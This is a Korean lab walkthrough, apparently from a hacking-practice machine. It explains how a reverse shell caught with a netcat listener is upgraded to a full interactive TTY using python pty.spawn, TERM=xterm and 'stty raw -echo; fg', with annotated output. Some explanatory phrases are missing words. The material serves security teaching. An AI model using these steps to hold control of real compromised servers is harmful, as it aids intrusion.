
사용자님이 수행하신 쉘 업그레이드 과정과 그 원리를 주석을 포함하여 최소한의 설명으로 정리했습니다. 이 과정은 등 모의 해킹 환경에서 불안정한 쉘을 안정적인 쉘로 전환하는 표준 기법입니다.
이 연결되었지만, 완전한 터미널이 아닌 더미 쉘 상태입니다.
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1234 # Kali에서 리스너 실행
listening on [any] 1234 ...
connect to [192.168.130.36] from (UNKNOWN) [10.64.144.72] 36194
/bin/sh: 0: can't access tty; job control turned off # 🚨 Job Control(작업 제어) 불가, 불안정함
$ ls
web.php
$ cd
$ cd ..
$ cd ..
$ ls
files
index.html
원리: 은 연결을
/bin/sh에 전달할 뿐, ** (Teletypewriter)**라는 터미널 환경을 생성하지 못해 +나 완성 등의 터미널 제어 기능이 누락됩니다.
불안정한 세션 내에서 을 이용해 쉘을 생성하고, 명령어로 터미널 설정을 조정하여 제어 기능을 활성화합니다.
$ python -c 'import pty;pty.spawn("/bin/bash")' # Python pty 모듈을 이용해 Bash 쉘을 생성(Spawn)
www-data@startup:/var/www/html$ ls
ls
files index.html
www-data@startup:/var/www/html$ export TERM=xterm # 터미널 종류를 xterm으로 설정하여 화면 출력 문제 해결
export TERM=xterm
www-data@startup:/var/www/html$ ^Z # 🚨 Ctrl+Z를 눌러 Netcat 프로세스를 정지(Suspend)
zsh: suspended sudo nc -lvnp 1234
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg # 🚨 TTY 환경 설정 및 정지된 세션 복귀 (가장 핵심)
[1] + continued sudo nc -lvnp 1234
www-data@startup:/var/www/html$ ls
files index.html
www-data@startup:/var/www/html$ pwd
/var/www/html
www-data@startup:/var/www/html$ ls
files/ index.html # 🚨 Tab 키를 눌러도 자동 완성이 작동됨 (완전한 쉘 증거)
www-data@startup:/var/www/html$ ls
files/ index.html
www-data@startup:/var/www/html$ ls
원리:
- : 의 (Pseudo-) 모듈은 가짜 터미널(pseudo-terminal)을 생성하여
/bin/bash를 실행합니다. 이는 기본적인 Job Control을 가능하게 합니다.stty raw -echo: 호스트의 터미널 설정(stty)을 raw 모드로 변경하고 echo 기능을 끕니다. 이를 통해 키 입력(예: +, )이 쉘에 직접 전달되어 제어 기능이 복구됩니다.fg(Foreground): 정지(suspend)했던 세션을 다시 포그라운드로 가져와, 새로 설정된 환경을 적용합니다.
결론: 이 과정을 통해 쉘은 환경의 모든 기능을 갖춘 완전한 인터랙티브 쉘로 업그레이드됩니다.